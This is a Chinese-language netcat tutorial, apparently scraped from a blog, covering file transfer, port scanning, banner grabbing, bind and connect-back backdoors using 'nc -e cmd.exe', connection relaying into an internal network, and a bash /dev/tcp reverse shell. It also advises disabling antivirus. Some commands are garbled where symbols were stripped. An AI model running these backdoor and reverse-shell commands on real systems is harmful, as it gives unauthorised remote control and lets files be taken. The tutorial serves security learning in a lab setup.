外国网站的浏览器下载,整站优化外包服务,全栈开发需要学什么课程,医疗机械网站怎么做目录
netcat简介
nc的使用场景
nc实现通信
创建一个服务端
创建一个客户端
具体案例
环境
win10在具体路径下执行命令
win7在具体路径下执行命令
netcat文件传输
nc文件传输的利用
服务器等待接收文件
客户端向服务器发送文件
服务器向连接的客户端发送文件
客户…目录
netcat简介
nc的使用场景
nc实现通信
创建一个服务端
创建一个客户端
具体案例
环境
win10在具体路径下执行命令
win7在具体路径下执行命令
netcat文件传输
nc文件传输的利用
服务器等待接收文件
客户端向服务器发送文件
服务器向连接的客户端发送文件
客户端向服务器接收文件
netcat的信息探测
端口扫描
banner抓取
netcat建立后门
建立监听后门
创建一个服务器端
创建一个客户端
建立连接型后门
创建一个服务端
创建一个客户端
netcat的命令参数介绍
参数
netcat连接转发
前言
连接转发案例
环境配置
win7目标机创建服务
win10内创建脚本文件
kail借助win10连接win7
netcat反弹shell
PC接收netcat命令
linux内反弹shell netcat简介
在网络中有瑞士军刀美誉的netcat在我们用了N年后依然爱不释手这是一个非常简单易用的基于TCP/IP协议的瑞士军刀。 nc下载地址https://eternallybored.org/misc/netcat/ 注意这里下载的时候会报出包含病毒关闭杀毒软件忽略即可 nc的使用场景 解释客户端连接服务器会被防火墙阻止但是服务器访问客户端不会被防火墙拦截因此可以把服务器作为nc客户端客户端电脑作为nc服务端来进行连接
nc实现通信
创建一个服务端 语法nc -l -p 端口 参数
-l监听模式-p监听的端口
解释创建一个nc服务端用来监听该服务端端口的连接状态
创建一个客户端 语法nc 要连接的服务端IP地址 要连接的服务端端口 解释创建一个客户端用来连接特定服务端
具体案例
环境
win10客户机使用桥接模式IP地址192.168.1.22win7客户机使用nat模式IP地址192.168.126.155
注意win7有网关处于内网环境可以连接桥接的win10
win10在具体路径下执行命令 win7在具体路径下执行命令 结果就可以在命令行相互通信了 netcat文件传输
nc文件传输的利用
取证当目标机器被黑客攻击之后取证人员可以利用nc的文件传输功能来获取目标机器上的文件内容避免直接在目标机器上进行操作造成取证的误差获取目标机器上的敏感文件当目标机器上有一些文件内容无法正常下载时可以利用nc进行文件传输
注意nc中的数据传输使用的是标准输入、输出流所以可以直接利用命令来进行操作
服务器等待接收文件 语法nc -l -p 本地端口 服务器本地文件名 解释将服务器接收的文件内容输出到文件中
客户端向服务器发送文件 语法nc 服务器IP地址 服务器端口 客户端的文件名 解释将客户端内的具体文件发送到服务器中
服务器向连接的客户端发送文件 语法nc -l -p 本地端口 服务器本地文件名 客户端向服务器接收文件 语法nc 服务器IP地址 服务器端口 文件名 netcat的信息探测
端口扫描 命令nc -v -n -z -w1 目标IP 起始端口号-中止的端口号 参数
-v对错误进行详细的输出-n不对目标机器进行DNS解析-zzero I/O模式专门用于端口扫描表示对目标IP发送的数据表中不包含任何的payload这样做可以加快扫描速度-w1超时设置为1s
banner抓取 语法echo | nc -v -n -w1 目标IP 起始端口-结束端口 注意通过banner信息就可以获取目标机器上的某些信息操作系统
netcat建立后门
前言netcat的一切数据都是通过标准输入/输出流实现的所以可以利用netcat的命令进行后门的建立并传输结果信息
建立监听后门
创建一个服务器端 语法nc -l -p 本地端口 -e cmd.exe 注意-e表示连接之后要返回给连接端对应的程序
创建一个客户端 语法nc 服务器IP地址 服务器端口 结果在客户端返回服务端的cmdlinux中使用的是bash
建立连接型后门
创建一个服务端 语法nc -l -p 本地端口 创建一个客户端 语法nc 服务端IP地址 服务端端口 -e cmd.exe 理解当客户端连接服务器时就会把客户端的cmd返回给服务器
netcat的命令参数介绍 查看nc命令参数nc -h 参数
-d脱离命令行窗口在后台运行-e执行某个程序常用于后门建立过程-G gateway设置网关常用于突破内网限制-g num表示路由的跳数-i sec设置发送每一行数据的时间间隔单位s-l设置netcat处于监听状态等待连接-L设置netcat处于监听状态等待连接当客户端断开服务端依旧回到等待状态-n设置netcat只是识别IP地址不进行dns解析-o设置传输16进制的数据-p设置本地监听的端口号-r设置netcat随机化的端口号-s用于设置netcat的源地址用于隐藏自己IP-t回复telnet的请求数据包-u设置netcat使用udp方式-v显示错误提示信息-w secs用来设置连接超时秒数-z设置扫描模式表示发送的数据包不包含任何payload
注意netcat的所有请求默认都是使用TCP协议
netcat连接转发
前言 理解两台服务器可以互相访问一台笔记本仅可以与右边的服务器进行相互访问此时该笔记本想要与上面的服务器互相访问就需要借助右边的服务器进行连接转发
连接转发案例
环境配置
win10物理机用作转发服务器IP地址为192.168.1.22win7用作内网服务器nat模式IP地址为192.168.126.155kail用作外面客户端桥接模式
win7目标机创建服务 执行nc.exe -l -p 2222 win10内创建脚本文件 注意里面填的是要连接的目的ip与端口win10必须能够与该服务器相互连接 执行nc.exe -l -p 3333 -e delay.bat 理解连接win10的3333端口就会执行delay.bat脚本文件。
kail借助win10连接win7 执行nc 192.168.1.22 3333 结果执行该命令后就会与win7连接
netcat反弹shell
前言某些情况下拿到服务器权限之后想要设置一个反弹shell但是目标服务器上没有安装netcat就需要此功能
PC接收netcat命令 语法nc -lvp 本地端口 linux内反弹shell 语法bash -i /dev/tcp/反弹的目标ip/目标port 01 解释
在命令行中bash -i表示交互模式运行bash shell。重定向符若在其后加文件描述符是将bash -i交互模式传递给文件描述符而若其后是文件则将bash -i交互模式传递给文件。文件描述符0标准输入1标准输出2错误输入输出命令中01表示将标准输入重定向到标准输出实现远程的输入可以在远程输出对应内容
